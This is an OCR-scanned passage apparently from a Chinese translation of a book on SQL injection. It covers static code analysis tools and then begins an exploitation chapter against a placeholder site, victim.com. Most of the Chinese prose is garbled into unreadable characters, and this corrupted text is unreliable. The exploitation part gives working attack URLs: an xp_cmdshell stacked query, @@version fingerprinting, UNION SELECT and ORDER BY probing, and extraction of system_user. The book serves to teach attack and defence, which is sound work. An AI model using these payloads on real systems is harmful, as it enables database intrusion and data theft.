I, RFEARRHEBLELAH ZLBERF, fmHbe R T B EARBERSE
6915 & k2t B B #AT o B9, AR AKX FEAR R S Rk b TR RIEE MR
#H&. /& RealNetworks &) RealPlayer #fF 30 & th it — 2k K ARG AT F] 4o 68 4] F
(CVE-2005-0455. CAN-2005-1766 #= CVE-2007-3410). RealNetworks % #7 &4 i iFl 2%
¥ OAT H LA HRARBIT, RiLiZRABT LRI T S A48 SCA(Flawfinder)#y
— AR A, S LR Z2RELIZRF, BFEARFAGILE, REKGHFA0
T—&E%484, BRI I AR AL HREZRBAT!

FEDLAHF, BT FBELREE! TR, BNE LA LMK MARE
5. aFH i, EFREFAMRY, REFEARM—F TR, A, HiERA
34 T B Fodd Rk Aovh F87, b, AR GRRNE, BERUASZERFE ., JonHl
a9 B 2R B AT &, AR T ARIES IS R I foid A2, B TFEA
R mds . ARK, BLiEAE b Bt 4T AbA M 89 B & WA, XA fEAK
AR P 34k, RAT4E L 09RA, LR KHELMES R, RBESH L
BB ARA AR T RN R B A Y A A

3.3.9 Ounce

Ounce THERZMAMNESR. RESMAGKEABBITRATHNZLIES
(Common Intermediate Security Language, CISL). SmartTrace £ U\ ERAL S R BEREIRAE S
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ZHHAREPHRIZNE R, REHRES S BEEK “Ebundle)”, XEQLEFELBATTR
ANR#ITEE. FRAGB{ER Visual Studio 5% Eclipse 1 Ounce Developer 44T FFix4e4, 4
FALE T SRS TR (5 B LU SmartTrace B FANEGRCN % T EO& AT LA AR Rl B B4R 45
HIN SR,
e URL: www.ouncelabs.com.
e iEF: Java. JSP. C. C++. C#. ASP.NET. JavaScript. {54t ASP/VBScript 1 Visual
Basic 6.
e F&: Windows. Solaris. Linux fil AIX.
IDE: Microsoft Visual Studio i1 Eclipse.
o & SEHM.

3.3.10 Fortify JZ{ta3 4> 4738

VAR a8 — RS TR, S AEAHHZRIRREE. B PiZTE
AR S B R 2 R T RO SO R e — P (AR RS, 2 =) £ % 22 4 2 b i%
BRERGHATIRAL . SR ELR ) — RIS ITSEERR. B B, RENSERL). EAR
Iy BT 28 F & 2 4% A0 I 9, (Secure Coding Rule Pack) XA AT T U A RBR Z&%
BT A.
e URL: www.fortify.com.
e {&E75: Java. JSP. C. C++. ColdFusion. ASP.NET( C#fll VB.NET). XML F1 SQL(T-SQL
#1 PL/SQL). JavaScript. {4t ASP/VBScript fll Visual Basic 6.
#&: Windows. Mac. Solaris. Linux. AIX fil HP-UX.

e IDE: Microsoft Visual Studio. Eclipse. WebSphere Application Developer 1 IBM Rational
Application Developer.

o ik BHEHM,
3.3.11 CodeSecure

CodeSecure F T4k £ i FH 24 H B SE B (hosted) B 14F AR S% . CodeSecure WorkBench T £
Microsoft Visual Studio. Eclipse Fl IBM Rational Application Developer HJ##ff. CodeSecure 3T
B fE, G T AT AT BB BT B R B R B A BUR AT Al . FETIERE, BER
EREREFAN IR 2 R A A M 5 1 ROZ IR TR AL AT, IR Bt — IR IR RAE N H o A RR A

e URL: www.armorize.com.

& 5: Java. PHP. ASP fI.NET.

F&: Windows. Mac. Solaris. Linux. AIX Fl HP-UX.

IDE: Visual Studio. Eclipse 1 IBM Rational Application Developer.
g SEHM.

34 AF )%

FENH T A ER F R AT R B EEARS LIRS R R AR . 7 R A
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WEERARZAT, TEAKE FRIREARR G k. XEHAEE BT i HE B ir M| i 4
SQL FEARFEAES B AAKE 10 EZE0 ZEETRIBZF. BINTEH TR, shagfr
it AT 6 Bh U M — N M RS TRA, EAMNATA T SQL AR, AT
HAbGES | RF A ERZHHE LSz,

M EFF IR T AR, AR — e A IR AEFE IR A N A (HE B WebGoat) T HIIRR, X2t
BFREE 1 ORA N HAT#A K% 2% . WebGoat & B OWASP(JFIX WEB N %4210
H AR OB 4 I —A 12EE Web N, & TIRBARASRE, WA T2 Web N
MHZETTERIRIZS . ATLAM www.owasp.org/index.php/Category:OWASP_WebGoat Project T
o b, EATLLZK Hacme Bank, BRI — N Web RS AERBITNE, 5T
REH 480 IR . ATELA www.foundstone.com/us/resources/termsofuse.asp?file=hacmebank? _
source.zip £ F 8. L AT DL A4KE A i1 77 #3444 (Free and Open Source Software, FOSS)t] 5
% W idi iR A&, Damn Vulnerable Linux Live CD A &R L XEME 7, a7 LM
www.damnvulnerablelinux.org  F#;i% CD.

NS EAAAR Y M B TRUMERS —HKESACH TR, FEEMBEARA
ECER, KR M m) AR5 R A R, FTUAMGRA T A ik, sl ey - -t
R TRMAERIS&AE. RRIMBATREATIRENL, FH—HESH YA K TR, WE

“PFEET ftR!

35 tikfRAFER

1. EFERABRE SQLEA

o SHHTIRACTERRTR T LA A BRI ST RIS AR, BARE s R
FRTE A BTIRACES L R P HASSTIEBAT ARG, TR 7 Web N 2B EIT. a0
ARES 7 B U R 48 FEARRYIE AT i #2 b onf LR AT 4347 .

o ZRBEEAERIEAAAFEIREEAB)(RE B R Web R, cookie i £HA S HOWFI 9
B ZBREARERF B ZBEH L E ARSI R ERNZ B, BN AR
—FREEURRRBII, T SQL EA) I )

o EPITHMUMFABEEI VR FTAEEN SQL AR, 475 6X 5 fa kiR
1728 PUNREBURRE . EALITH A ST I PRSI K 7E 2 F BT

o Mi& T AMMBRFHRINERE, ETUHTFHERRBEET, BREH. HEAY
R A UNIX TR grep(FIFHEA T Windows R 4E).

2. BHEERRD

o MEABE/ER, B TRERT =FMARKSHE: ETEHFEOEALE. &
VEARC DU AL B2 A5 Bh i BB  (AST) AN (k)3 1 Ui B (CFG) B BB T 4047

o HEAZ) T A IENRE X 7/ S LR PMEBA m OS2 B EIEE A S Hug i)
B ARV H o = A AN TS B AL B ) o
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o AESHTEE— AN MRS FRMRBBMATRES, L b®E4— S5
FUHFR R EZARIE). BT LA B TR SISO BEAT AL BR R 43 10 30 4E , SRGARIBIBA S
VL R iX 2 3a] iR &

e AST 2 —FrR;-EMLIEARIEE L IR . aT L AST MR T ERITEE S
B A7 B BR BREEE VI IR BB N AR N .

o KPR -Fh R ST R R OCEIEAE A . B RIS RS B AR E. ¥
PEL 4 W B VLIEATE AST P41 CFG |,

o LM CFG R EFEF P4 e 0 B4 nl 5452 B /LB . CFG i F B HRi0
N RAR P ARAT I HE A AT Gl [ B 4 B B 4% .

W I 1) A AR

3.6

f&] i ;
mE.

) & ;
BE:

e] R :

R

1] i -

RE:

ie] &8 -

RE:

IR AL TT A A FA WP 4Rk T RIS AT B, RV RS 427

T, BNAGEEREZS. 35 FRRIES AR W LA B0R5) 3B TF R M B
Wl SR FORRAEFE P Y 2 R B B B AK (fuzz testing) FIYEAAIS &
"R EREANTEETHRA A ESROBERRRN. TREESRANE
&, FahIRAEH VR R 24 R RIE(QA) KA A i 4r -

X TAMBRMT G TRIES . RS EWE RO R AFERR?

A, BARKBIEM — TR, BENRIEZTACERESE, RAEHSHMATA
(BB LR RATHER. F—REEN, REEHBEE0 LTRROLM
AR B .

FEAGRX X TREMAXEEREMBAIITHEITIEEHE. XLHERHF 2 AT
fFRE?

U RAZ TR AR 45 I R T E A S R A I B SEURE, T AR T A 4
WA Z TR TREB PRI F R RS WA HB.

Grep fll awk /& GNU £ 35 A2 M#12 Linux H AHHLAH TR, BEENEH
X Windows F F ROEFAXT= i ?

Grep 1 awk tHiEHT Windows R4, WRZXFLRBEBIA KA, W n]LAEH
Win32 #&4 B HY findstr TR, i&7] LM{EA IDE R & FHBRAKTE LM, £
2] UME R #EMGRS & IDE FIThRE. X771 Google & RIGHIFHF .

FARRFH T X AR K — DR A MBARER T8 AR EE
¥ I EREREAR A BITER 2, BRAFMHETAAE D BIER SQL IEARF. BH
A HESE A H E M, ETRIZEAM?

IEFAT 2 TE B ST EHUR T A o 0T LLEFEBIRE 3 — i —HF AT % R TR ZR R 2.
WA LR s 54 R S0 B S RE R R, XS LG E & B
ez, RINERTEHRBREMATHINERE. WRER ARG RARE
P VR AT 03, AT LS 3 R A A5 S S BB RN LR SR A A 2R (b 1 PR
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I HAFB) T RGN B AT 35 B B VF AT ), AXRE BT DA 1) 38 B2 R 7R 5 10 A4 LA S B
HARFIRIK .

EIRE: BB ERMEEWHEAE TR, R TR RS KEAIEL AEERML?

RE: SRAAXETR, REMHELRME. XETRFARERE, et shme s
W, THEERSRE NP> asEE, BAEREEES K. XA, &5 m
TFRN R BRI BRI, FF 51— ™ & e, LU A BT
RNRBCEF . FRN T RBATY UMK S H ORI & RKMIMEE . R AT fe,
AT LA R 1) T [ R {2 I 452 B B B R SR SCERXOURR






#H SAL F A

AEHR
o FRMRE WA B AR
o LRI B E

e fiiff§ UINON Bty B i

o fHHKMEN

o BUESHOERE R
o AP

o GIMAOL

o AMELE

e HZEWFA SQL A
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4.1 MBE

WFFERIA SQL FEARIFE, AT LAFI A SMmLesE R i TRsmET UAAESHK
BT E, HiEHHARMEE S SIEENARY, WAMES FAFEANERRILFVIRE
FAALHIA R . B T BRI B TR AL AR, TUME LA EREES
EE.

EEHHEANEDN “RTH” " ZROEHEET “ABHA” 2 BE?). RIBFRR
£ S S ER B MR, F5 S R R R F R . RESEIE R, WA,
Aoty M) R EE BERBNEAR. HEERERY TRIEEEEEPRIFOERE, L
KM T DBMSUEE SR ALN)A S, Hins2Rk oy BOSEE & / % 0 4 (password
hash). BT HeB B EALTE AR FAERIIBIT, I ERENA EBTHEATEER
A RURA BT, BTTRA1ER UL — L3k BV AR SERE . BE, WBRFETIE
RFERE, RITEENA—SaEEHLSBERANLHBERNTAGPREMRHE
HHEE B CHREK).

—MEXMBR: SRR

32T R 84 74 225 A SELECT &4 692N, 2AE 5L HLXAENEHTAL
% o fo, Kot 34 F (4 INSERT. UPDATE. DELETE ¥#4%). %% SELECT #4 R fit
IAME A R AR, PAAMET “RAERR RN, (o FAua4-3 T A5 BRI A
b ARRAG A TKIE, AENEAY, ZRGESINAFEGFM. A FER T
ik, a4 A DS KERS Mk SQL EAKEN, BAFHRARELETMER
AEATAR 49 B34 F FAR R 69 B3k, SRS FRESRAE oA 2, JF AT A d A Bk a3k
R, fRsbiosiip s R H KL G RE.

Bth, o Riedlth B % KA RSO TR IR, AR2AFHREGKS K
HOR S A1 B FRA W8, Rit—R B3 A A B IR E = 2B hissh S,
o B RRA R EAER, L EPATEENIEZN, wAREELEN, A
SRR LR 6 oMK E , BT vAIAT AR 00 = RARAE .

ERAERRA B A HIEN, —2 2 PRATPIIT. AFHTARE B fsant
W APSTRE LTS, APOSR VAL XE, BRI UPDATE X
DELETE & & #t 472 A, &% DBMS # &2 TR, —Z R P!

1. B, FEOCHAEW “rebbithole”, M EHE (MEWE) PMEE, RiLRyIHAFREEA Lewis Carroll Kdg e JLER
4 (L BHTEL).

2. EEVE: BOTHARN “redpill”, tHIHEA (BEFE) FHEE. 5 bluepill x4, R Neo FHEAIZA. BHEAHASE
MMEHEET RGO, TRACEEANS AR FEMEM.
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42 ERFRAGFAELK

FIEHAN L, &SR 2 A HEHN AR AR B 3 EAANEERREEAR, EH
AEZERTIRART Web A EREILT — M BN HZBEHSH . E2RKE 4 GET S5 PiE
ARG SRATEE R AN — N BER R, B AT BRSNS 55 Mtk SR B B 1]
BFUNRBNBHERAT TARFARSBBEERNAE. BRERBFHER, ELNER
ZHR—THENFRRAKFET.

FEXAHBUR, Te— A SHTBE R MR & BIE B R G50 S R I A B0 E R 4218
HHB. BRARFIH Web BAIURAED, &0 SQL HAR/RA—HBAKE k. HEEIN
52 B AR X R AT W ROR A B BT B AR W . i R A TE A AR E ST A &L
EEEBREE M HEAT RN, BAREEX I ERENES.

RIS RRAF AR CLMA P PATERRRR, J5 6 %31 DBMS RS2 UK R E X
R BUHBEREETEEN LIZTHSERNE), RRAMKR TR SQL EARRSE
PRAE AN EI B A - A BB KR R A2 75 LA HTML AR 4% 3B SQL 25 ) i Hi 45 S (B
{2 DBMS FUREISHRIE). WRABE N PIEMRIE SQL #iH 878, WFHEHRFT SQL
B, R -TEMERNEARBEERE). RITKAS 5 TNEASQL B, EAE ], B
ErpHlfEE, BIMRBEREIRERE—ERE LRE SQL ®i. EHERLE, RINSNES
REHEEA.

BATAFEOREHGITIIAT AN BRBH B TRS A, EHEE victim.com L.
BENHAE M AFHANRAF®&KQIE, X URL W FFiR:

e http://www.victim.com/products.asp?id=12

R URL 8, NASBEEI—MTE, Q4 id 4% 12 85 &2 Syngress 2 & f— 7
XTF SQL EAMIE B M RFERER, M8 41 PR,

| :1 i iy secure appl ion - Microsoft Intern arer

- & Bl ; /
hittp:/ Avwww. victim. com/products. asp7id=12

,ID " Type " Description ]l Price ]

| 12 ” Book " SQL Injection Attacks " 50 |
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SQL FAIEH SHfH

HAMEE id ¥ 5 2F SQL FEAR . BE—AHFHE, HRERMIATEES FHER
PG| R T ER . BAE, BRAFEZIREFRITHBESEER T AR AR, &
{1138 victim.com {8 Microsoft SQL Server Wi@fﬁﬁﬁﬁﬁ(@%‘?ﬁﬁﬁﬂﬁ{b/ﬁﬂf&
DBMS % F). AigWiER, a6 FEERET GET EK, BATHFTHTENBFH (payload)
BUZE URL ot W] BAIE 763 k46T 3F URL A E ALK A POST i KN AR R HR

Hitdl, 4T RBER A EARARTY, THE ZZFIEH T QR4 EHARRE R E
it SQL XA (H 4o, 3FF MySQL, THmBERER—A#FH). HELFH 2 FUARRES
% F 4ol A iz SQL Fi9 6913 &

[ERHEXES

7 fovrHEI% A i(stacked query)(7E AN BUE FEEE T AT N EWFFI) R SXF SQL i
ANRFAFERBEKEMAOE R —. THE —MNEABIEEHKET, EAIHH xp_cmdshell
¥R RPIT — RS

http://www.victim.com/products.asp=id=1;exec+master..xp_cmdshell+'dir’

HIREAA L BEZL L RIS, B URIN— &SP ER, HEEERS B ILFIIT
B WA . MR GERREENRRERRESN, X7 BEEERM T B2 8 MAnTRE.

WIRME, FH3IEFTH DBMS F & EZFrdiE & . MRz DBMS FIHESR BT {E BRI
AE, HREEAE. i, 45 ASPNET #1 PHP )i A Microsoft SQL Server i fLiFHEXE A
), (B RAER Java RifiE, WIARYF. 18 PHP 1A PostgreSQL i, PHP foiFHiik#if);
B30 83 15 MySQL, PHP WA R s & . ‘

Ferruh Mavituna(— %% %24 31 R T L 4E#)# 2 SQL Injection Cheat Sheet(SQL V£ A # I
By EANAR T 5k, HPBEE T XA ERHE SR W U7 http:/ferruh.mavituna.com/sql-injection-
cheatsheet-oku/R 3R B iZ F Mt - '

4.3 RAKEE

BRI KT SQL AN, HREERRMIENHIEEMSAR DBMS. B#EFX—FE,
FRAS AT BE [ R HIVE A BRI E QAT ERDGER R ¥ .

Web N A RIS E K&K, Hlin, ASP F.NET # % 1 Microsoft SQL Server
e R 5 G BB EE, T PHP S 4R AT 884 A MySQL. WM R Java HEH, HALHK
TTHER Oracle B MySQL. M4, KERERG AT AR — L% 222 [IS(Internet {7 B/
&3O E R RS BT AbREE N R R T Windows M54, J5 & EEFERTTRER SQL Server.
iiZ4T Apache 1 PHP [ Linux fR 4% 2% WI4R 7] g i F ) R FFUREHE 1, Eudn MySQL. R,
T AN AN A 5 3 A B 4 B 1) K] 6 3R A 2 SR BR (fingerprint) 5% F7, BRI O 48 2 51 R AT BERFAS [F] B2 A B
PR 77 AR AR o AN B8 P IR 46 2% 17 1 A0 2 A (B SR B AE 1 YR 3 S R B ) AV AT
LLIR LR 42 2 2R SR s 5L PR A BRER T 72

RS BE BB IR R KRR E ER TR AL TES. WMRNARF(EDEFXME
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B E)yE#SRME)DBMS #IRH RGN, FEX), BLARELMLRE, BATURES
BN AR S RRBUXTREEARNER. EURLTES, KikikNAEE DBMS
HE, MoRTELRT i, FREASHELD. RS ERAL SHITHER. Bl
WX L E W — R PURIIPAT, RIREE FUFTEIX A DBMS AIREH1E B

43.1 JEHRE

REHWHOT, ETHESE DBMS, HEEF &L EH SN SN BT, RENTE
HFT{EA ) DBMS SRR, X&H AR SQL S 4NN B LS & A HR. Flin, &
N— 5 SREA BRI S 2 5 | B E N P RE RS HIE SQL A5, Xojrd—
FEIEAIR. 3T Microsoft SQL Server 3K, B KIS ZMN BT RE 5 4-2 FrERIOERE AL,

1 3 vichm. com v = applic on soft Intemnet E orer

hittp: / A victim com/products. asp 7id=23'

VICTIM.COM

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

{ [Microsoft][ODBC SQL Server Driver|[SOL Server]Unclosed quotation mark after the character
1§ string "

i fproducts.asp, line 33

42 BRAEHSIAPRCHTTIRE SQL #iRH A

IRAEAR R HE W E 8. SR R P IRIRE] T “SQL Server”, RN T —&6% T Hi44
AAERFHEY. FEWEERGERN, X&ERSRERH. T MySQL 5.0 F=A B k4
RMR AT RE SN F TR

ERROR 1064 (42000): You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right syntax to use
near ' ' at line 1

LSRN B A TIH. 2T DBMS HAMAR. R ETRALRA, &
SRR . T BT I 4 R 0 L TF Sk R A BT MR R AR . KRS A B
MySQL ) “A64”. B, MZRMA— MySQL b — K ARHER R RIMERN, SET
B
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ERROR 1146 (42502): Table 'foo.bar' doesn't exist

AR, BRSO GEERH RN T - MwiT, AT IRRR,
BE AT, A AR A R IR ) DBMS:

ORA-01773:may not specify column datatypes in this CREATE TABLE

FELH “ORA” B ARG R: ZIHEMRE Oracle! www.ora-code.com 4t T— 588
Oracle #iRH B .

RERERER

R B AT H B IS IKBUH 4 HEFA I 0T Web I R TEHCHE Br il B R A5 B, (HixekfE
RIEAE, EREFMELGEL. Fl, FEB 6T, RINERIZEHIEE S SQL
Server, {HiZfmAEFREMMA; BREABRSIEN, EEANBAN SQL Server 2005, {H{J
FRAT IR 25 R A48 H i) & SQL Server 2000 ik 4. SQL Server 2008 B4R T 2008 4F 8 A KA, HE
V55 TR EH B REWRMFLHYEE, LR EFE T80, BaBE8T
BATIGE T AR PREAE BB ATAE— 2 mT R BT S &0 B BB

FIZMR, WR web MALRFM T AT RS R, BoEFEHERBEAEESBEE
5o FTH EWBEE R AR R D SR VP — 4 M B W RIR B AR ASE B . TeAT) 5 24l
IRAL Web N IR [FHZ B WL R £ 4-1 &0 T /M E AR IO RS, S8R
[5] 6% HERE DBMS fRAE B M F57 8.

T 4-1 BEE&# DBMS FFf R A2 i)

BB E R & ifl
Microsoft SQL Server SELECT @@version
ECT i
MySQL SELECT version()
SELECT @@version
SELECT banner FROM v$version
Oracle
SELECT banner FROM v8version WHERE rownum=1

$il4m, XtF SQL Server 2000 SP4 3K ii, 4T SELECT@@version E#IHT, KR F| TG B

Microsoft SQL Server 2000 - 8.00.194 {(Intel X86)

Aug 6 2000 00:57:48

Copyright (c) 1988-2000 Microsoft Corporation

Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)

Microsoft SQL Server =4 {174 B IEH V£40, BRI Tf0 BA87 4 — & & @@version {HKH B H
ARIRAE. Flan, X TEFRFEASECRR, K6 ey AA 2828 FEATEAN
1% B A AT Ui R — D RB R . B —A+, iEE% T %) URL:

http://www.victim.com/products.asp?id=@@version

MFFHE id 7B DT, HEIMEBLS E N RE@@version 745 H . HATIZA AN,
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SQL Server £ B 3B @@version WIME I 22008 H 8 b — NS, X &7~ — D HBTF
B 4-3 FrsfidiiR, &R G RIRIT4 A7 F B2 SQL Server 2005, - H 40 & RS A 2 4% 5
u&%¥ﬁ&§¢%%mﬁa

'.N.ic..nw?i‘.l-@@vqs‘iu’\

| VICTIM.COM

Microsoft OLE DB Provider for ODBC Drivers error B0040e07"

| |Mu:rosoﬂ][ODBC SOL Senrer Drwer}iSOL Server}Ccmrsmn falled when convemng the
A nvarchar value osoft SQL er 2005 - 9.00.3042 ) ;
Copyright (c 1958-2205 Mmmsoﬂ Col uranon Standard Edmon on Wndm NT 5. 2 ulid

{ 3790: Semvice Pack 2) 'to data type int

. fproducts.asp, line 33

E} -3 ﬁﬁﬁﬁ?ﬁ E%ﬁ&m%#?ﬁdﬁ* ]

AR, BIERE——ATEANNSEOFARET, BINVEORTURRIIFTENEL. fl,
WRANEA KIS B BTN, IAERT LIRA S H [ % FHF B IE A @@version. ARV
BRRINAT -MERTE, ERFAFREFHFEIONELH:

http://www.victim.com/searchpeople.asp?name=smith

FESRAT T 1 A AR E 7T AR A 2)_ L& URL:

SELECT name, phone,email FROM people WHERE name LIKE '%smith'
BETHARE K5 TERUKHE:

100 results founds for smith

AR BRBARERRA, FILLM name SEF AN TFINE:
http://www.victim.com/searchpeol'-:ale.asp?na.me-'%ZB@@version %2B'
BREHEMNHEN:

SELECT name,phone,emall FROM people WHERE name LIKE '%'+@@version+ '%'

ZEHHIRERP T EFMIE@@version T HFRF B AR, HERIRATRES 0;
ERZTNHSUFBANEAIRATEER:

0 results found for Microsoft SQL Server 2000-8.00.194 (Intel X86) Aug 6
2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Standard Edition
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on Windows NT 5.0 (Build 2195: Service pack 4)

AU EFEXERURR A LA RREEBINMGER. THA HEHHN
Microsoft SQL Server Y B & .

e @@version: DBMS R4,

* @@servername: %3 SQL Server MR %28 4 FK .

® @@]language: MR ERESTHLRK.

e @@spid: METH PR ID.

432 BHIRER

WRN A AN TEE SR HEOER, BABERTRESEHBEA, IFEEY
H—FRIRE ik XA M BT 2 T ASIF DBMS B F 0 SQL 773 FiMses 5. B E iy
BARRFAAN P RAEEEF RN LOZER . AT T 0018 2254 461

SELECT 'somestring'

ZEAMNKZHER DBMS HRHRG, (0RO FR BB T8, AR
FEREME S MBRER . RARKYE, FTLARIFIZR 4-2 51 th 1) 2 5 AT HEMT .

F4-2 NFHFRRE DBMS A

iR S % T i
Microsoft SQL Server SELECT 'some' + 'string'
SELECT 'some' + 'string'
MySQL .
SELECT CONCAT('some' , 'string')
SELECT 'some’ || 'string’
Oracle

SELECT CONCAT('some' , 'string')

Bltt, RFH —NANEANGTH RS, T USSR AR W BT Wit i — 4
R [E S FRAGTERAHFIRSE S, 505 0T LIUHENT ) 28 PR P R R

RAERAT AT 5 R Bt I R S %, WA UMER S8 FBHRMRAR. Bk, &
i B AR E AN SQL iF4), SR LAY —MIT. £ 43 PUFTARIARE
IEBRIBAREE T 2 U HE MMy — N, TSR P4 — R,

F4-3 MBFEME DBMS A&

$iR R 5528 -
Microsoft SQL Server @@pack_received
@@rowcount
connection_id()
MySQL last_insert_id()
row_count()

Oracle . BITAND(1,1)
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BJa, A R SQL SM(REA TR EN TR —FEBEAR, HHEREH
BT CIER L. B, AIh#iE A —4 WAITFOR DELAY b a] LAZR 7 % Hb M 00 i iz
HA# FH 5 & Microsoft SQL Server.

R EXT AR MySQL, W AT LUE A — AN B A H 19 e i s BRI A . Sefi1%nis, T
MySQL, T —=FhAEH kA EER:

1) EITERM— 45

2) FEATERIN—A “—- 7 FAARESILE - &BEEHERER).

3) A T IFRFIETRIR A N7 TR, AL TFREZIAIMEN .

AL 58 = PO VEE — 2 R I RAEERIT LA — AN R S 70 S R R
MRAGR T, T4 ZTE R AT AR ARSI MR PERR A 8 T a0 T B P & AR A,
ISR AT . Wik FEE ! i H T 5 MySQL &l

SELECT 1 /*!140119 + 1%/

ZAEWR IR F LR

e 2 (W3R MySQL RRAN 4.01.19 S M iR A)

o 1 (HAhIFA)

AEEE, KL SQL AT ARGt T — e MR L3RRI DBMS 4 # B
BEXH . slqmap B RIXFE- -Ff T H(http:/sqlmap.sourceforge.net), E0&—AF BRI 2 ¥ EE,
B ESLHER AT S . BATBERTE SR I¥EH /44 sqlmap.

4.4 1% UINON 3% &) 32 B ¥ 35

FIHATR L, HFEMNIEX B OEAA DBMS HARE T/ NEWH T . B FRRITE%
8¢ 2]/ UNION 1) SQL #EAE R, UNION E ¥R FEE M A L% 4 F Brl LS i 8y
Z—o ATLMEH S EEF AR L 4 SELECT EAIMBEHLE. HEARFEEN TR

SELECT column-1,column-2,...,column-N FROM table-1
UNION
SELECT column-1,column-2,...,column-N FROM table-2

WITREHE, BERSRSRINTBAM ELHME: RE KP4 SELECT H7iE [ %
RAMKIR. BRAFILT, SGRPACETRAMME. WREABRKXNEPLSELNE, WE

SELECT column-1,column-2,...,column-N FROM table-1
UNION ALL
SELECT column-1,column-2,...,column-N FROM table-2

£ SQL HEAZGE ', UNION EHEFFREEMEIEHHE: mRNAERN S URA)E
WRBKESE, BABELEE - MEWETEAN—D UNION B, HEMBI—MEEE
W, R AT LASEHR 2UHOE FE P 05 R L AR AT — kR . WTARSKAR A SS, RO B, i
e, (BTSRRI B TR R R A X -
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441 MEEF|

FA8 UNION 25 AT IERM TAE, Tl FoIEK:

o WA UIRIBI ) F B JHE R .

o P SELECT ¥ A)3R [B] 9 HoH B i 1 0 51 218 RUAR R (B 2 0 R A1)«

R LB REAM, EHERRYGHRE— MR AR, BRRT4H#E
HEMELR T & & P ERH DBMS HiAR. i8R S LE N A F Ok [ se 3 i S al 1 4
—FPAEE A AMERE TR, & 4-4 51 72 UNION ##)E & 8RR 5 H T — 24 23 DBMS iR
AR A .

#F4-4 JET UNION iR s DBMS AR

HiRER &% '
Microsoft SQL Server All queries combined using a UNION, INTERSECT or EXCEPT operator must
have an equal number of expressions in their target lists
MySQL The used SELECT statements have a different number of columns
Oracle ORA-01789:query block has incorrect number of result columns

R B PR R PR S PTH HI AR MLR R, KMERBEERKTIE, w—r5
R R AR . EBTWEMINET HREEMERLSIIH. F—MEREE _LBENEAS
W BROCEHIE R P BOE B EMIEFAT . T R E BB HT ) DBMSGER, A EHE Oracle 8i
BB ETRR AR, T NULL {E & 8 BT AT Bl R 2Y, Bt LLar LA 8 —ZI#87E . NULL
B, JXPFEAERE S AR [R5 R AR R R A R T 5 | R R R

IR VL, WIRARIRE| M products.asp TUHHAT B2 HBTIR FIRIHER S8, AT LA F 31
77 iEK URL, HEIAREIERA 1k

http://www.victim.com/products.asp?id=12+union+select+null--
http://www.victim.com/products.asp?id=12+union+select+null,null--

http://www.victim.com/products.asp?id=12+union+select+null,null, null--

&, Oracle B3k~ SELECT & if18-&— FROM & #. Fit, 1R EXT#E Oracle,
W RZ %48 G URL &0 T o0ks R

http://www.victim.com/products.asp?id=12+union+select+null+from+dual~--

dual &— KT F Fl /& ae U7 A (R, BIEASRR MF & i3 PR IR (L i i IR ZE I 1B 00,
AT A% dual {# A SELECT #4].

IRECHER ) B0 5 — R 12 8 ORDER BY Fa)fidEiE A B 4h—/~fti]. ORDER BY
THIBE AT R — NP B e RS H, el AR, REbRRREE 5 ET . Ll
K ORDER BY -FHHREFHIEFRRR B HPRIZNE, 0 Fhas:

http://www.victim.com/products.asp?id=12+order+by+l

http://www.victim.com/products.asp?id=12+order+by+2
http://www.victim.com/products.asp?id=12+order+by+3 ect,
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W76 {# ] ORDER BY 6 B E| 8 —MEIR, MEskEEHHEE 575,

F R VA% R —Fh R Y B R kAT, R EF PR . H G, ORDER BY
FEEEEER, LREMEPESKENHIN., BREHKSIER n, FHEB-FITEKEIE
FR A MBS o NMiFR. FEXREEAEROER, ZNEAASmERR. B _MHEUNA
A 758 FB R4 b E B I A8 Bt A2 e AR AR o X REWR A AT LA - 43 2 $k ¥ (binary search) K 12
FIERREL. Blin, BEFPas 135, ey DT 5EBEET A

(1) &% ftf ORDER BY 8, EAKMIHIR. XEWH EMIFIECH 8 8UE NHIE.

(2) %X ORDER BY 16, ‘EiR[E—/MER. XPFELEEFZIEN T 8 R 15 Z[H.

(3) %1 ORDER BY 12, ‘EANR[MHEIR. IAEMBEBHAFI BT 12 815 Z[6.

(4) 223k ORDER BY 14, Tig[H MR, BLFEANEIEHAFIECY 12 213,

(5) 2iA ORDER BY 13, EAEM4HR. Fit 13 B4 IEHKIZIE.

XEER BT 5 ANk 13 A ST EREEFERER M EE RS, HH ARk
ECHRE HE PR R A n 5T B O(log(n)) M i%#E. A ORDER BY J7vEMIS AN R IAIR -
CE TS EAD, BEEREEH P LB TRADRHIR.

442 EREKIFEER

IR AR P BOS B R R R R M — P LIR TR — TR G IEAE TR
BT . WEREE, W NFIEERA RN FURAERAN . FIE, WIRAARR TR AR
o, METHIEE AR ), WE TR B —ANEER KR TR K5 UUEE I EORTE f IR
HABAE . A NULL RERSMAS, IH K —FIHE 7RG 7 #F F 3% NULL BITT.
Biltn, mEERFLHEREE 4 5], A2NEE T URL:

http://www.victim.com/products.asp?id=12+uniontselect+'test', ,NULL, NULL,NULL
http://www.victim‘com/products.asp?id=12+union+select+NULL,‘test',NULL,NULL
http://www.victim.com/products.asp?id=12+union+select+NULL,NULL,'test',NULL
http://www.victim.com/products.asp?id=12+union+select+NULL, NULL, NULL, 'test"’

’R:

2t F A3k 4% ) NULL #4048 & % (4o Oracle 8i), R BF2]i2E 8, HARLBER
# #5) (brute force guessing) T . T 3% 75 56 M Z XA 7T fe 69 B8 £AR4m4, BT
i, RiEAFRld v e, Teig A Unibrute T 5§ 35 F XA F|AFR], & T LT
www.justinclarke. com/security/unibrute.py £ F #.

LB RGR 4SRRI AT ETE WA R4 test (A5 Al LLRF—DNFRF R, T AT AR
BREERME. Hl, WEP IS EEA TS B UBEARRECS 6T S H 45K, W
HEIEKTF) URL:

http://www.victim.com/products.asp?id=12+union+select+NULL,system_user,NULL,NULL

ISR BT A G R T E 4-4 BB
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iy secure application - Microsoft Internet Explorer

3D A0 e

| vicTIM.COM

| j1p) || Type " Description " Price }
| 12 ||Book [[sQL miection Attacks BB ]
lappdbuser | | |

BINT ! AR, RERPEE AW, HPEETIEAIRIBER! WTLEFRY
AIRA F AR R B — K — R RN FEE FE R R, BN RSB BIMEE. E
FEXZ A0, BAISEUIH — L UNION BB RA KNS, 22 BB, BAITHRHN
4 NARKF: AR FRHE, HMESER. X TFXREAER, 7T MERAE5]RIBE
Y. Bli, T3 URL ¥ RRRRLHH - B4 B A

http://www.victim.com/products.asp?id=12+union+select+NULL, system_user;
db_name () , NULL

